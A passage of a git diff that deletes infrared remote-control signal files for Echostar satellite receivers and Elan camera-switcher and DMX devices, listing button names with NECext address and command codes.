-command: 07 00 00 00 -# -name: SCROLL_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: DISH -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: DVR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 39 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: POSITION -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/16,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/16,0.ir deleted file mode 100644 index 0d025a349..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/16,0.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 28 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/4,-1.ir deleted file mode 100644 index 342bcb057..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Satellite/4,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir deleted file mode 100644 index e921f2fd8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: switch -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2E 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 32 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 35 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir deleted file mode 100644 index b7466cfe3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 14 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: screen -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: white -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: vol? -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir deleted file mode 100644 index 181924fc9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: More -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: PrevChan -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2E 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 32 00 00 00 -# -name: TvSat -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir deleted file mode 100644 index 991b0e6df..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: QUAD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: FREEZE/SEQUENCE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: CURSOR_ENTER/MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/100,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/100,-1.ir deleted file mode 100644 index ebb795b0a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/100,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: CD 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: CE 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: CF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: D0 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: D1 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: D2 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: D3 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: D4 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: D5 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: D6 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 64 00 00 00 -command: D7 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 64 00 00 00 -command: D8 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 64 00 00 00 -command: DA 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 64 00 00 00 -command: DB 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 64 00 00 00 -command: DC 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 64 00 00 00 -command: DD 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 64 00 00 00 -command: DE 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 64 00 00 00 -command: E3 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 64 00 00 00 -command: E4 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 64 00 00 00 -command: E5 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 64 00 00 00 -command: E7 00 00 00 -# -name: REPEAT_CAPS -type: parsed -protocol: NECext -address: 64 00 00 00 -command: E8 00 00 00 -# -name: RETURN_DELETE -type: parsed -protocol: NECext -address: 64 00 00 00 -command: E9 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 64 00 00 00 -command: EB 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 64 00 00 00 -command: EC 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 64 00 00 00 -command: ED 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 64 00 00 00 -command: EE 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 64 00 00 00 -command: EF 00 00 00 -# -name: CHANGER -type: parsed -protocol: NECext -address: 64 00 00 00 -command: F0 00 00 00 -# -name: NEXT_CHAPTER -type: parsed -protocol: NECext -address: 64 00 00 00 -command: F1 00 00 00 -# -name: PREVIOUS_CHAPTER -type: parsed -protocol: NECext -address: 64 00 00 00 -command: F2 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 64 00 00 00 -command: F3 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 64 00 00 00 -command: F4 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 64 00 00 00 -command: F5 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 64 00 00 00 -command: F6 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 64 00 00 00 -command: F7 00 00 00 -# -name: SEEK_BACK -type: parsed -protocol: NECext -address: 64 00 00 00 -command: F8 00 00 00 -# -name: SEEK_FORWARD -type: parsed -protocol: NECext -address: 64 00 00 00 -command: F9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/14,-1.ir deleted file mode 100644 index fa7039275..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/14,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 09 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0C 00 00 00 -# -name: OUTPUT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0E 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 11 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 12 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 13 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 14 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 15 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 16 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 17 00 00 00 -# -name: ALBUM -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 18 00 00 00 -# -name: ARTIST -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 19 00 00 00 -# -name: GENRE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1A 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1B 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1C 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1D 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 20 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 21 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 30 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 37 00 00 00 -# -name: DEFAULT_O/P -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 38 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 39 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/96,-1.ir deleted file mode 100644 index 7eac6912f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/96,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: CD 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: CE 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: CF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: D0 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: D1 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: D2 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: D3 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: D4 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: D5 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: D6 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 60 00 00 00 -command: D7 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: D9 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: DA 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: DB 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: DC 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: DC 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: DD 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: DE 00 00 00 -# -name: ALBUM -type: parsed -protocol: NECext -address: 60 00 00 00 -command: E3 00 00 00 -# -name: ARTIST -type: parsed -protocol: NECext -address: 60 00 00 00 -command: E4 00 00 00 -# -name: GENRE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: E5 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: 60 00 00 00 -command: E7 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: E8 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 60 00 00 00 -command: E9 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: EB 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: ED 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: EE 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: EF 00 00 00 -# -name: OUTPUT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: F0 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: F1 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: F2 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 60 00 00 00 -command: F3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 60 00 00 00 -command: F3 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: F4 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: F5 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: F7 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: F8 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: F9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/99,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/99,-1.ir deleted file mode 100644 index eac301f02..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DMX/99,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: CD 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: CE 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: CF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: D0 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: D1 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: D2 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: D3 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: D4 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: D5 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: D6 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 63 00 00 00 -command: D7 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 63 00 00 00 -command: D8 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 63 00 00 00 -command: D9 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 63 00 00 00 -command: DA 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 63 00 00 00 -command: DB 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 63 00 00 00 -command: DC 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 63 00 00 00 -command: DD 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 63 00 00 00 -command: DE 00 00 00 -# -name: ARTIST -type: parsed -protocol: NECext -address: 63 00 00 00 -command: E4 00 00 00 -# -name: GENRE -type: parsed -protocol: NECext -address: 63 00 00 00 -command: E5 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: 63 00 00 00 -command: E7 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext 